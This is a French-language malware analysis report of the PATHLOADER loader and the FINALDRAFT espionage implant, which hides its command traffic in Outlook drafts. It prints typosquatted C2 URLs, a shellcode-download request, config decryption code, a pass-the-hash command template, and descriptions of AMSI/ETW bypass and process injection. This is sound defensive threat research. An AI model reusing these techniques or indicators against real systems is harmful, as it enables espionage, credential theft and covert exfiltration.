Résumé

En enquêtant sur REF7707, Elastic Security Labs a découvert une nouvelle famille de logiciels malveillants inconnus jusqu'alors qui utilisent Outlook comme canal de communication via l'API Microsoft Graph. Ce kit de post-exploitation comprend un chargeur, une porte dérobée et plusieurs sous-modules qui permettent des activités avancées de post-exploitation.

Notre analyse a permis de découvrir une variante Linux et une ancienne variante PE du logiciel malveillant, chacune avec plusieurs versions distinctes qui suggèrent que ces outils sont en cours de développement depuis un certain temps.

L'exhaustivité des outils et le niveau d'ingénierie impliqué suggèrent que les développeurs sont bien organisés. La durée prolongée de l'opération et les données télémétriques indiquent qu'il s'agit probablement d'une campagne d'espionnage.

Ce rapport détaille les caractéristiques et les capacités de ces outils.

Pour l'analyse de la campagne REF7707, consultez De l'Amérique du Sud à l'Asie du Sud-Est : La toile fragile de REF7707.

Analyse technique

PATHLOADER

PATHLOADER est un fichier PE Windows qui télécharge et exécute un shellcode crypté récupéré à partir d'une infrastructure externe.

Notre équipe a récupéré et décrypté le shellcode récupéré par PATHLOADER, en extrayant un nouvel implant que nous n'avons pas vu rapporté publiquement, que nous appelons FINALDRAFT. Nous pensons que ces deux éléments sont utilisés ensemble pour infiltrer des environnements sensibles.

Configuration

PATHLOADER est un exécutable Windows léger de 206 kilobytes ; ce programme télécharge et exécute un shellcode hébergé sur un serveur distant. PATHLOADER comprend une configuration intégrée stockée dans la section .data qui inclut C2 et d'autres paramètres pertinents.

Après le décodage Base64 et la conversion de la chaîne hexagonale intégrée, la configuration originale est récupérée avec deux domaines uniques typosquattés ressemblant à des fournisseurs de sécurité.

https://poster.checkponit.com:443/nzoMeFYgvjyXK3P;https://support.fortineat.com:443/nzoMeFYgvjyXK3P;*|*

Configuration à partir de PATHLOADER

Hachage de l'API

Afin de bloquer les efforts d'analyse statique, PATHLOADER procède au hachage des API à l'aide de la fonction de hachage Fowler-Noll-Vo. Cela peut être observé sur la base de la valeur immédiate 0x1000193 trouvée 37 fois à l'intérieur du binaire. La fonctionnalité de hachage de l'API apparaît en ligne plutôt que comme une fonction individuelle distincte.

Obfuscation des chaînes de caractères

PATHLOADER utilise le cryptage des chaînes pour obscurcir les fonctionnalités à l'intention des analystes qui examinent le programme de manière statique. Bien que les chaînes soient faciles à décrypter en cours d'exécution ou à l'aide d'un débogueur, l'obscurcissement apparaît en ligne, ce qui accroît la complexité et rend plus difficile le suivi du flux de contrôle. Cet obscurcissement utilise des instructions SIMD (Single Instruction, Multiple Data) et des registres XMM pour transformer les données.

Une chaîne liée à la journalisation des codes d'erreur WinHttpSendRequest utilisés par le développeur du logiciel malveillant n'a pas été chiffrée.

Exécution/comportement

Lors de l'exécution, PATHLOADER utilise une combinaison de méthodes GetTickCount64 et Sleep pour éviter une exécution immédiate dans un environnement sandbox. Après quelques minutes, PATHLOADER analyse sa configuration intégrée et parcourt les deux domaines C2 préconfigurés (poster.checkponit[.]com, support.fortineat[.]com) pour tenter de télécharger le shellcode par le biais des requêtes HTTPS GET.

GET http://poster.checkponit.com/nzoMeFYgvjyXK3P HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Host: poster.checkponit.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36

Le shellcode est crypté AES et encodé Base64. Le décryptage AES est effectué en utilisant le chemin URL de téléchargement du shellcode “/nzoMeFYgvjyXK3P” comme clé de 128 bits utilisée dans l'appel à l'API CryptImportKey. API.

Après l'appel CryptDecrypt, le shellcode décrypté est copié dans la mémoire précédemment allouée. La page de mémoire est alors définie sur PAGE_EXECUTE_READ_WRITE à l'aide de l'API NtProtectVirtualMemory. API. Une fois que la page est réglée sur la protection appropriée, le point d'entrée du shellcode est appelé, qui à son tour charge et exécute l'étape suivante : FINALDRAFT.

PROJET FINAL

FINALDRAFT est un logiciel malveillant 64 bits écrit en C++ qui se concentre sur l'exfiltration de données et l'injection de processus. Il comprend des modules supplémentaires, identifiés comme faisant partie du kit FINALDRAFT, qui peuvent être injectés par le logiciel malveillant. La sortie de ces modules est ensuite transmise au serveur C2.

Point d'entrée

FINALDRAFT exporte un point d'entrée unique comme fonction d'entrée. Le nom de cette fonction varie d'un échantillon à l'autre ; dans le présent échantillon, elle est appelée UpdateTask.

Initialisation

Le logiciel malveillant est initialisé en chargeant sa configuration et en générant un identifiant de session.

Processus de chargement de la configuration

La configuration est codée en dur dans le binaire dans un blob crypté. Il est décrypté à l'aide de l'algorithme suivant.

for ( i = 0; i < 0x149A; ++i )
  configuration[i] ^= decryption_key[i & 7];

Algorithme de décryptage des données de configuration

La clé de décryptage est dérivée soit de l'identifiant du produit Windows (HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId), soit d'une chaîne de caractères située après le blob crypté. Ceci est déterminé par un drapeau global situé après le blob de configuration crypté.

L'algorithme de dérivation de la clé de décryptage est exécuté comme suit :

uint64_t decryption_key = 0;
do
  decryption_key = *data_source++ + 31 * decryption_key;
while ( data_source != &data_source[data_source_length] );

Algorithme de dérivation de la clé de décryptage

La structure de la configuration est décrite comme suit :

struct Configuration // sizeof=0x149a
{
  char c2_hosts_or_refresh_token[5000];
  char pastebin_url[200];
  char guid[36];
  uint8_t unknown_0[4];
  uint16_t build_id;
  uint32_t sleep_value;
  uint8_t communication_method;
  uint8_t aes_encryption_key[16];
  bool get_external_ip_address;
  uint8_t unknown_1[10]
};

Structure de configuration

La configuration est cohérente d'une variante à l'autre et d'une version à l'autre, bien que tous les champs ne soient pas utilisés. Par exemple, le champ de la méthode de communication n'était pas utilisé dans la variante principale au moment de cette publication, et seule la méthode MSGraph/Outlook était utilisée. Ce n'est cependant pas le cas dans la variante ELF ou dans les versions antérieures de FINALDRAFT.

La configuration contient également une URL Pastebin, qui n'est utilisée dans aucune des variantes. Cependant, cette URL nous a été très utile pour pivoter à partir de l'échantillon initial.

Processus de dérivation de l'identifiant de session

L'identifiant de session utilisé pour la communication entre FINALDRAFT et C2 est généré en créant un GUID aléatoire, qui est ensuite traité à l'aide de la fonction de hachage Fowler-Noll-Vo (FNV).

Protocole de communication

Au cours de notre analyse, nous avons découvert que différentes méthodes de communication sont disponibles à partir de la configuration ; cependant, l'échantillon le plus récent à ce jour n'utilise que la classe COutlookTrans, qui abuse du service de messagerie Outlook via l'API Microsoft Graph. Cette même technique a été observée dans SIESTAGRAPH, une famille de logiciels malveillants inconnue signalée par Elastic Security Labs en février 2023 et attribuée à un groupe de menace affilié à la RPC.

Le jeton Microsoft Graph API est obtenu par FINALDRAFT à l'aide de l'adresse https://login.microsoftonline.com/common/oauth2/token. point final. Le jeton de rafraîchissement utilisé pour ce point d'accès se trouve dans la configuration.

Une fois actualisé, le jeton Microsoft Graph API est stocké dans les chemins d'accès au registre suivants, selon que l'utilisateur dispose ou non de privilèges d'administrateur :

• HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\<uuid_from_configuration>
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\<uuid_from_configuration>

Ce jeton est réutilisé dans toutes les demandes, s'il est encore valide.

La boucle de communication est décrite comme suit :

• Créez un projet d'e-mail de session s'il n'existe pas déjà.
• Lire et supprimer les brouillons de courriels de demande de commandement créés par le C2.
• Commandes de processus
• Rédigez des courriels de réponse à la commande sous forme de brouillon pour chaque commande traitée.

Une vérification est effectuée pour déterminer si un courriel de session, sous la forme d'un courriel de réponse à une commande identifié par l'objet p_<session-id>, existe déjà. Si ce n'est pas le cas, un message est créé dans les brouillons du courrier. Le contenu de cet e-mail est encodé en base64 mais n'est pas encodé en AES.

Les données de session sont décrites dans la structure ci-dessous.

struct Session
{
  char random_bytes[30];
  uint32_t total_size;
  char field_22;
  uint64_t session_id;
  uint64_t build_number;
  char field_33;
};

Structure des données de la session

La file d'attente des commandes est remplie en vérifiant les cinq derniers courriels de demande de commande C2 dans les brouillons de courrier, qui ont pour sujet r_<session-id>.

Après avoir lu la demande, les courriels sont ensuite supprimés.

Les commandes sont ensuite traitées et les réponses sont rédigées dans de nouveaux projets d'e-mails, chacun ayant le même objet p_<session-id> pour chaque réponse à une commande.

Le contenu des demandes de messages et des réponses est compressé en Zlib, crypté en AES CBC et codé en Base64. La clé AES utilisée pour le cryptage et le décryptage se trouve dans le blob de configuration.

Base64(AESEncrypt(ZlibCompress(data)))

Les messages de demande envoyés par le C2 à l'implant suivent cette structure.

struct C2Message{
  struct {
    uint8_t random_bytes[0x1E];  
    uint32_t message_size;    
    uint64_t session_id;      
  } header;                     // Size: 0x2A (42 bytes)
  
  struct {
    uint32_t command_size;                     
    uint32_t next_command_struct_offset;
    uint8_t command_id;                   
    uint8_t unknown[8];                   
    uint8_t command_args[];                       
  } commands[];
};

Structure du message de demande

Les messages de réponse envoyés par l'implant à C2 suivent cette structure.

struct ImplantMessage {
  struct Header {
    uint8_t random_bytes[0x1E];  
    uint32_t total_size;    
    uint8_t flag;		// Set to 1
    uint64_t session_id;
    uint16_t build_id;
    uint8_t pad[6];
  } header;
  
  struct Message {
    uint32_t actual_data_size_add_0xf;
    uint8_t command_id;
    uint8_t unknown[8];
    uint8_t flag_success;
    char newline[0x2];
    uint8_t actual_data[];
  }                    
};

Structure du message de réponse

Voici un exemple de données volées par l'implant.

Commandes

FinalDraft enregistre 37 manipulateurs de commandes, dont la plupart des capacités tournent autour de l'injection de processus, de la manipulation de fichiers et des capacités de proxy réseau.

Vous trouverez ci-dessous un tableau des commandes et de leurs identifiants :

Tableau de traitement des commandes FINALDRAFT

Recueillir des informations sur les ordinateurs

Lors de l'exécution de la commande GatherComputerInformation, des informations sur la machine victime sont collectées et envoyées par FINALDRAFT. Ces informations comprennent le nom de l'ordinateur, le nom d'utilisateur du compte, les adresses IP internes et externes, ainsi que des détails sur les processus en cours.

Cette structure est décrite comme suit :

struct ComputerInformation
{
  char field_0;
  uint64_t session_id;
  char field_9[9];
  char username[50];
  char computer_name[50];
  char field_76[16];
  char external_ip_address[20];
  char internal_ip_address[20];
  uint32_t sleep_value;
  char field_B2;
  uint32_t os_major_version;
  uint32_t os_minor_version;
  bool product_type;
  uint32_t os_build_number;
  uint16_t os_service_pack_major;
  char field_C2[85];
  char field_117;
  char current_module_name[50];
  uint32_t current_process_id;
};

Structure de l'information collectée

L'adresse IP externe est collectée lorsqu'elle est activée dans la configuration.

Cette adresse est obtenue par FINALDRAFT à l'aide de la liste suivante de services publics.

Liste des services de recherche d'adresses IP

Injection de processus

FINALDRAFT dispose de plusieurs commandes liées à l'injection de processus qui peuvent injecter dans des processus en cours ou créer un processus caché dans lequel injecter.

Dans les cas où un processus est créé, le processus cible est soit un chemin exécutable fourni en tant que paramètre de la commande, soit mspaint.exe ou conhost.exe par défaut.

En fonction de la commande et de ses paramètres, le processus peut éventuellement être créé avec son handle de sortie standard pipé. Dans ce cas, une fois le processus injecté, FINALDRAFT lit la sortie du tuyau et envoie son contenu avec la réponse de la commande.

Il existe une autre option où, au lieu d'acheminer la poignée standard du processus, FINALDRAFT, après avoir créé et injecté le processus, attend que la charge utile crée un tuyau nommé Windows. Il se connecte ensuite au tuyau, y écrit des informations, lit sa sortie et envoie les données au C2 par l'intermédiaire d'un canal distinct. (Dans le cas du canal de transport Outlook, cela implique la création d'un brouillon supplémentaire).

La procédure d'injection du processus est basique et basée sur VirtualAllocEx, WriteProcessMemory, et RtlCreateUserThread API.

Transmission de données à partir de TCP, UDP et de tuyaux nommés

FINALDRAFT propose différentes méthodes pour transmettre des données à C2, notamment des récepteurs UDP et TCP, ainsi qu'un client "named pipe".

Le proxy des données UDP et TCP consiste à traiter les communications entrantes différemment en fonction du protocole. Dans le cas de l'UDP, les messages sont reçus directement de l'expéditeur, tandis que dans le cas du TCP, les connexions des clients sont acceptées avant la réception des données. Dans les deux cas, les données sont lues dans le socket et transmises au canal de transport.

Vous trouverez ci-dessous un exemple de capture d'écran de l'appel recvfrom de l'auditeur UDP.

Avant de démarrer le serveur d'écoute TCP, FINALDRAFT ajoute une règle au pare-feu Windows. Cette règle est supprimée lorsque le serveur est arrêté. Pour ajouter/supprimer ces règles, le logiciel malveillant utilise COM et les interfaces INetFwPolicy2 et INetFwRule.

FINALDRAFT peut également établir une connexion TCP avec une cible. Dans ce cas, il envoie une valeur magique, “\x12\x34\xab\xcd\ff\xff\xcd\xab\x34\x12”, et attend du serveur qu'il renvoie la même valeur magique avant de commencer à transmettre les données reçues.

Pour le tuyau nommé, FINALDRAFT ne se connecte qu'à un tuyau existant. Le nom du tuyau doit être fourni comme paramètre à la commande, après quoi celle-ci lit les données et les transmet par un canal séparé.

Manipulation de fichiers

En ce qui concerne la fonctionnalité de suppression de fichiers, FINALDRAFT empêche la récupération des fichiers en écrasant les données par des zéros avant de les supprimer.

La valeur par défaut de FINALDRAFT est CopyFileW pour la copie de fichiers. Toutefois, en cas d'échec, il tentera de copier le fichier au niveau du cluster NTFS.

Il ouvre d'abord le fichier source en tant que poignée de lecteur. Pour récupérer la taille du cluster du volume où réside le fichier, il utilise GetDiskFreeSpaceW pour récupérer les informations sur le nombre de secteurs par cluster et d'octets par secteur. DeviceIoControl est ensuite appelé avec FSCTL_GET_RETRIEVAL_POINTERS pour récupérer les détails des extents : les emplacements sur le disque stockant les données du fichier spécifié et la quantité de données qui y est stockée en termes de taille de cluster.

Pour chaque étendue, il utilise SetFilePointer pour déplacer le pointeur du fichier source vers le décalage correspondant dans le volume ; il lit et écrit un groupe de données à la fois du fichier source vers le fichier de destination.

Si le fichier n'est pas associé à des mappages de clusters, il s'agit d'un fichier résident et les données sont stockées dans la MFT elle-même. Il utilise l'index MFT du fichier pour obtenir son enregistrement MFT brut. L'enregistrement est ensuite analysé pour localiser l'attribut $DATA (identifiant de type = 128). Les données sont ensuite extraites de cet attribut et écrites dans le fichier de destination à l'aide de WriteFile.

Modules injectés

Notre équipe a observé que plusieurs modules supplémentaires chargés via le gestionnaire de commande DoProcessInjectionSendOutputEx effectuaient une injection de processus et renvoyaient la sortie via un tuyau nommé. Ce shellcode injecté par FINALDRAFT exploite le projet sRDI bien connu, permettant le chargement d'une DLL PE complète dans la mémoire au sein du même processus, la résolution de ses importations et l'appel de son point d'entrée d'exportation.

Énumération des réseaux (ipconfig.x64.dll)

Ce module crée un tuyau nommé (\\.\Pipe\E340C955-15B6-4ec9-9522-1F526E6FBBF1) qui attend que FINALDRAFT s'y connecte. Peut-être pour empêcher l'analyse/sandboxing, l'acteur de la menace a utilisé un mot de passe (Aslire597) comme argument, si le mot de passe est incorrect, le module ne s'exécutera pas.

Comme son nom l'indique, ce module est une implémentation personnalisée de la commande ipconfig qui récupère les informations réseau en utilisant les API Windows (GetAdaptersAddresses, GetAdaptersInfo, GetNetworkParams) et en lisant le chemin d'accès au registre Windows (SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces). Une fois les données récupérées, elles sont renvoyées à FINALDRAFT par le biais du tuyau nommé.

Exécution de PowerShell (Psloader.x64.dll)

Ce module permet à l'opérateur d'exécuter des commandes PowerShell sans invoquer le binaire powershell.exe. Le code utilisé est tiré de PowerPick, un outil de sécurité offensive open source bien connu.

Pour échapper à la détection, le module accroche d'abord les API EtwEventWrite, ReportEventW et AmsiScanBuffer en les forçant à toujours renvoyer 0, ce qui désactive la journalisation de l'ETW et contourne les analyses anti-programmes malveillants.

Ensuite, la DLL charge une charge utile .NET(PowerPick) stockée dans sa section .data à l'aide de la technique d'hébergement CLR.

Le module crée un tuyau nommé (\\.\Pipe\BD5AE956-0CF5-44b5-8061-208F5D0DBBB2) qui est utilisé pour la transmission des commandes et la récupération des données de sortie. Le fil principal est désigné comme récepteur, tandis qu'un fil secondaire est créé pour écrire des données dans le tuyau. Enfin, le binaire PowerPick géré est chargé et exécuté par le module.

Boîte à outils Pass-the-Hash (pnt.x64.dll)

Ce module est une boîte à outils personnalisée Pass-the-Hash (PTH) utilisée pour démarrer de nouveaux processus avec des hashs NTLM volés. Cette mise en œuvre de la PTH est largement inspirée de celle utilisée par Mimikatz, permettant un mouvement latéral.

Ce module requiert un mot de passe (Aslire597), un domaine et un nom d'utilisateur avec le hachage NTLM, ainsi que le chemin d'accès au fichier du programme à élever. Dans notre exemple, cette ligne de commande est chargée par le shellcode sRDI. Vous trouverez ci-dessous un exemple de ligne de commande.

program.exe <password> <domain>\<account>:<ntlm_hash> <target_process>

Comme l'autre module, il crée un tuyau nommé "\\.\Pipe\EAA0BF8D-CA6C-45eb-9751-6269C70813C9" et attend les connexions entrantes de FINALDRAFT. Ce tuyau nommé sert de canal de journalisation.

Après avoir établi la connexion, le logiciel malveillant crée un processus cible dans un état suspendu en utilisant CreateProcessWithLogonW, identifie des structures clés telles que LogonSessionList et LogonSessionListCount au sein du processus LSASS (Local Security Authority Subsystem Service) et cible la session de connexion spécifiée par l'argument fourni.

Une fois que la session correcte a été trouvée, la structure d'identification actuelle dans LSASS est remplacée par le hachage NTLM fourni au lieu du hachage NTLM de l'utilisateur actuel, et enfin, le processus est repris. Cette technique est bien expliquée dans l'article de blog "Inside the Mimikatz Pass-the-Hash Command (Part 2)" par Praetorian. Le résultat est ensuite envoyé au tuyau nommé.

Variante FINALDRAFT ELF

Au cours de cette enquête, nous avons découvert une variante ELF de FINALDRAFT. Cette version prend en charge davantage de protocoles de transport que la version PE, mais présente moins de fonctionnalités, ce qui laisse supposer qu'elle est en cours de développement.

Canaux de transport supplémentaires

La variante ELF de FINALDRAFT prend en charge sept protocoles supplémentaires pour les canaux de transport C2 :

FINALDRAFT Variante ELF Options de communication C2

Parmi les échantillons ELF découverts, nous avons identifié des implants configurés pour utiliser les canaux HTTP et Outlook via Graph API.

Bien que la structure du code soit similaire à l'échantillon PE le plus récent, au moment de cette publication, certaines parties de la fonctionnalité de l'implant ont été modifiées pour se conformer à l'environnement Linux. Par exemple, les nouveaux jetons de rafraîchissement Microsoft OAuth demandés sont écrits dans un fichier sur le disque, soit /var/log/installlog.log.<UUID_from_config>, soit /mnt/hgfsdisk.log.<UUID_from_config> s'il ne parvient pas à écrire dans le fichier précédent.

Vous trouverez ci-dessous un extrait de la configuration qui utilise le canal HTTP. Nous pouvons voir que deux serveurs C2 sont utilisés à la place d'un jeton de rafraîchissement Microsoft, le numéro de port 0x1bb (443) à l'offset 0xc8, et le drapeau pour l'utilisation de HTTPS à l'offset 0xfc.

Les domaines sont intentionnellement conçus pour typosquatter des fournisseurs bien connus, tels que "VMSphere" (VMware vSphere). Toutefois, on ne sait pas exactement quel vendeur "Hobiter" tente d'usurper l'identité dans ce cas.

Liste des domaines

Commandes

Toutes les commandes se recoupent avec celles de son homologue Windows, mais elles offrent moins d'options. Il existe deux commandes C2 destinées à collecter des informations sur la machine de la victime. Ensemble, ces commandes permettent de recueillir les informations suivantes :

• Nom d'hôte
• Utilisateur connecté actuel
• Adresse IP de l'intranet
• Adresse IP externe
• Adresse IP de la passerelle
• Temps de démarrage du système
• Nom et version du système d'exploitation
• Version du noyau
• Architecture du système
• GUID de la machine
• Liste des connexions réseau actives
• Liste des processus en cours
• Nom du processus en cours

Exécution des commandes

Bien qu'il n'y ait pas de capacités d'injection de processus, l'implant peut exécuter directement des commandes shell. Il utilise popen pour l'exécution des commandes, capturant à la fois la sortie standard et les erreurs, et renvoyant les résultats à l'infrastructure C2.

Auto-effacement

Pour résoudre dynamiquement le chemin de l'exécutable en cours d'exécution, son lien symbolique pointant vers l'image exécutable est transmis à sys_readlink. sys_unlink est alors appelé pour supprimer le fichier exécutable du système de fichiers.

Ancien échantillon FINALDRAFT PE

Au cours de notre enquête, nous avons identifié une ancienne version de FINALDRAFT. Cette version prend en charge deux fois moins de commandes, mais inclut un protocole de transport supplémentaire en plus du canal de transport MS Graph API/Outlook.

Le nom du binaire est Session.x64.dll, et son point d'entrée d'exportation est appelé GoogleProxy:

Canal de transport HTTP

Cette ancienne version de FINALDRAFT sélectionne le canal de transport Outlook ou HTTP en fonction de la configuration.

Dans cet exemple, la configuration contient une liste d'hôtes au lieu du jeton de rafraîchissement que l'on trouve dans l'exemple principal. Ces mêmes domaines ont été utilisés par PATHLOADER, le domaine (checkponit[.]com) a été enregistré le 2022-08-26T09:43:16Z et le domaine (fortineat[.]com) a été enregistré le 2023-11-08T09:47:47Z.

Les domaines typosquattent à dessein de véritables fournisseurs connus, CheckPoint et Fortinet, dans le cas présent.

Liste des domaines

Commande Shell

Il existe dans cet exemple une commande supplémentaire qui n'est pas présente dans les versions ultérieures. Cette commande, dont l'ID est 1, exécute une commande de l'interpréteur de commandes.

L'exécution s'effectue en créant un processus cmd.exe avec le paramètre "/c", puis en ajoutant la commande au paramètre.

Détection

Elastic Defend détecte le mécanisme d'injection de processus au moyen de deux règles. La première règle détecte l'appel API WriteProcessMemory ciblant un autre processus, ce qui est un comportement courant observé dans les techniques d'injection de processus.

La deuxième règle détecte la création d'un thread distant pour exécuter le shellcode.

Nous détectons également le chargement du moteur PowerShell par le module Psloader.x64.dll, qui est injecté dans la cible connue mspaint.exe.

Logiciels malveillants et MITRE ATT&CK

Elastic utilise le cadre MITRE ATT& CK pour documenter les tactiques, techniques et procédures communes que les menaces utilisent contre les réseaux d'entreprise.

Tactiques

• Commande et contrôle
• Évasion par la défense
• Découverte
• Exécution
• Exfiltration
• Mouvement latéral

Techniques

Les techniques représentent la manière dont un adversaire atteint un objectif tactique en effectuant une action.

• Service Web : Communication à sens unique
• Canal crypté : Cryptographie symétrique
• Cacher les artefacts : Fenêtre cachée
• Mascarade : Faire correspondre un nom ou un lieu légitime
• Mascarade : Renommer les utilitaires du système
• Injection de processus : Injection d'exécutable portable
• Chargement du code réfléchissant
• Utiliser un autre matériel d'authentification : Passez le Hash
• Découverte de services de réseau
• Découverte du processus
• Registre des requêtes
• Exfiltration par le biais d'un service Web

Atténuations

Détection

• Écriture suspecte dans la mémoire d'un processus distant
• Chargement d'image inhabituel du moteur PowerShell
• Contournement de l'AMSI par la mémoire non sauvegardée
• AMSI or WLDP Bypass via Memory Patching
• Exécution suspecte via un service Windows
• Exécution via l'utilitaire de débogage de la ligne de commande Windows
• Relation parent-enfant suspecte

YARA

Elastic Security a créé les règles YARA suivantes en rapport avec cet article :

• Windows.Trojan.PathLoader
• Windows.Trojan.FinalDraft
• Linux.Trojan.FinalDraft
• Multi.Trojan.FinalDraft

Observations

Les observables suivants ont été examinés dans le cadre de cette recherche :